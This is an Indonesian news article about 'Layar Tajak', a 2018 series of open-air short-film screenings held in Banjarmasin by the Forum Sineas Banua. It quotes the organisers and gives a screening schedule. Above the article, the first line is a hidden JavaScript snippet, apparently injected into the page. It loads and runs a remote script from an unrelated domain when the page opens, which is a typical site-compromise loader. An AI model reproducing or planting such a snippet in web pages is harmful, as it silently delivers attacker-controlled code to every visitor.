(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Budaya

Lewat “Layar Tajak”, Nostalgia Layar Tancap Ala Forum Sineas Banua


BANJARMASIN, Aruh Film Kalimantan (AFK) 2018 hadir mewarnai dunia seni dan budaya di Banjarmasin. Digagas oleh Forum Sineas Banua (FSB) yang hadir sebagai komunitas sekaligus wadah berkumpulnya antar sineas dan komunitas film di Kalimantan Selatan. FSB ingin mengupayakan kebutuhan anggota meningkatkan kompetensi, profesionalisme di dunia perfilman.

AFK 2018 menjadi sebuah program kompetisi penerimaan karya film fiksi pendek yang puncak malam penghargaan akan berlangsung pada 24 November 2018, di Gedung Balairungsari, Taman Budaya Kalsel.

Adalah Layar Tajak yang merupakan rangkaian dari kegiatan AFK 2018. Kegiatan pemutaran kompilasi film pendek karya sineas lokal ini berlangsung pada tanggal 2, 3, 4, 7, dan 9 November di lima tempat berbeda.

Ditemui setelah kegiatan pertama Layar Tajak, Munir Shadikin, penanggung jawab divisi edukasi FSB mengatakan, dinamakan layar tajak karena FSB ingin mengembalikan kenangan nostalgia, mengajak dan menumbuhkan kembali rasa menonton bersama-sama di tempat terbuka.

“Masyarakat sekarang hidup di zaman dimana sudah sangat jarang ada layar tancap dan orang-orang lebih banyak memilih ruang pribadi atau media gawai untuk menikmati tontonan,” ujarnya.

Munir sendiri percaya bahwa menonton bersama banyak orang mempunyai sensasi yang berbeda. “Aku percaya emosi itu menular. Nonton film horor, rasa takutnya lebih terasa, nonton film komedi, rasa lucu yang muncul pun akan lebih lucu. Ada amplifikasi emosi,” terangnya.

Kegiatan pertama Layar Tajak yang berlangsung di halaman SDN 5 Sungai Miai, jalan Cemara Ujung pun banyak diihadiri anak-anak belia. Pria yang juga merupakan Programmer Festival di AFK ini menambahkan, hal ini menjadi bukti bahwa anak-anak tersebut merasa sangat antusias. Menjadi sebuah alternatif pilihan yang dirasa sangat berbeda bagi anak-anak era kiwari ini. “Karena mayoritas anak-anak zaman sekarang banyak diisi dengan bermain gawai pada malam hari,” ucap Munir.

Ada 7 film berdurasi rata-rata 15 hingga 20 menit yang dipertontonkan pada Jum’at (2/10) malam. Kegiatan pertama dari lima kegiatan ini merupakan sebuah ‘uji coba’ untuk melihat sasaran audiens dari segi usia. Untuk kegiatan berikutnya, FSB akan fokus pada massa yang datang untuk menonton dan kemudian konten film akan disesuaikan.

Untuk ke depan, FSB berharap budaya layar tancap ini lahir kembali sehingga masyarakat jadi berkegiatan bersama-sama mengisi malam harinya. Program ini juga menjadi tolok ukur bagi FSB untuk bisa dilanjutkan atau tidak. “Karena memang, ini adalah salah satu kegiatan yang diimpi-impikan oleh orang-orang yang berada dibalik FSB. Kegiatan yang memang langsung terjun ke perkampungan dan permukiman warga. Bukan kegiatan yang lokasinya indoor dan eksklusif,” Munir mengakui.

Jika program Layar Tajak ini mendapat respon positif masyarakat. Mereka tentu perlu lebih banyak bantuan lagi bahkan hingga ke tingkat pemerintahan. Di satu sisi, Munir mengakui hal ini tidak tanpa kendala tentunya. “Jelas kita perlu bantuan. Tapi ada beberapa film yang kami rasa penting untuk ditayangkan, namun film yang akan ditayangkan itu dirasa tidak lulus sensor bagi lembaga yang memberikan izin. Ada film yang kadang di dalamnya bercampur bau-bau politik. Padahal hanya sekadar untuk refleksi sejarah,” akunya.

Hal inilah yang masih menjadi batu penghalang bagi FSB, terutama perlunya kedewasaan dalam menanggapi konten film.

FSB memang mempunyai program lain perihal pemutaran film alternatif ini, yaitu Ngofi (Ngobrol Film). Namun forum itu masih terasa eksklusif karena diadakan di dalam sebuah gedung dan tidak semua masyarakat mempunyai akses mengenai forum itu, baik dari segi informasi, waktu, dan jaringan.

Hadirnya Layar Tajak yang datang ke permukiman dan berbaur dengan warga menjadi salah satu wadah dimana FSB bisa tahu tontonan seperti apa yang diinginkan masyarakat dan bagus untuk mereka.

FSB mengakui film-film yang diputar masih jauh di bawah standar. “Tapi, inilah kemampuan sineas Kalsel saat ini. Jadi film maker harus bisa meningkatkan flmnya untuk memuaskan penonton,” pungkasnya.

Sementara itu, Edo Rahman, Divisi Produksi FSB menambahkan, visi dari FSB dan AFK 2018 adalah upaya untuk mendekatkan film ke masyarakat. “Secara luas, Forum Sineas Banua adalah sebuah wadah apresiasi dan distribusi yang mempertemukan sebuah karya film ke penonton,” jelasnya.

Hal ini tentunya menjadi hiburan bagi masyarakat itu sendiri dan pesan dalam film yang bisa sampai ke penonton tentu menjadi kesenangan sendiri bagi para film maker. Di samping itu, bisa juga menjadi apresiasi dan referensi untuk film maker itu sendiri. Diharapkan dari adanya kegiatan ini tidak hanya akan berdampak bagi masyarakat dan FSB sendiri. Namun juga menjadi sebuah motivasi bagi para film maker, sehingga lebih tertantang setelah karya mereka ditonton banyak orang.

Pria yang didapuk menjadi Manajer Festival AFK 2018 ini mengakui bahwa Jogja adalah salah satu referensi FSB mengadakan AFK 2018. “Ada JAFF (Jogja-NETPAC Asian Film Festival), itu mereka masuk hingga ke desa-desa. Untuk memutarkan film yang dekat dengan para penontonnya,” sebutnya.

Jadwal Layar Tajak

Sabtu (3/11) di halaman Kantor Pembakal Desa Lokbaintan, Sungai Tabuk, Kabupaten Banjar pukul 22.00-22.00 WITA.

Minggu (4/11) di Jalan Sungai Baru RT 02 (tanah lapang dekat siring) pukul 20.00-22.00 Wita.

Rabu (7/11) di Jalan Kuin Selatan, Gg Ukhuwah Islamiah (halaman Langgar Ukhuwah Islamiah) pukul 20.00-22.00 Wita.

Jumat (9/11) di Ruang Publik Terpadu Ramah Anak Banua Anyar pukul 19.00-21.00 WITA.

Kegiatan Layar Tajak yang sudah mendapat izin dari warga setempat ini tentu bisa dihadiri gratis oleh siapa pun juga. Untuk info lebih lanjut mengenai Layar Tajak, sila hubungi narahubung di 082165813506 (Syarwani) dan bisa juga cek situs aruhfilm.com dan Instagram @forumsineasbanua untuk informasi kegiatan AFK 2018. (mario)

Reporter : Mario
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

4 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

6 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

7 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

8 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.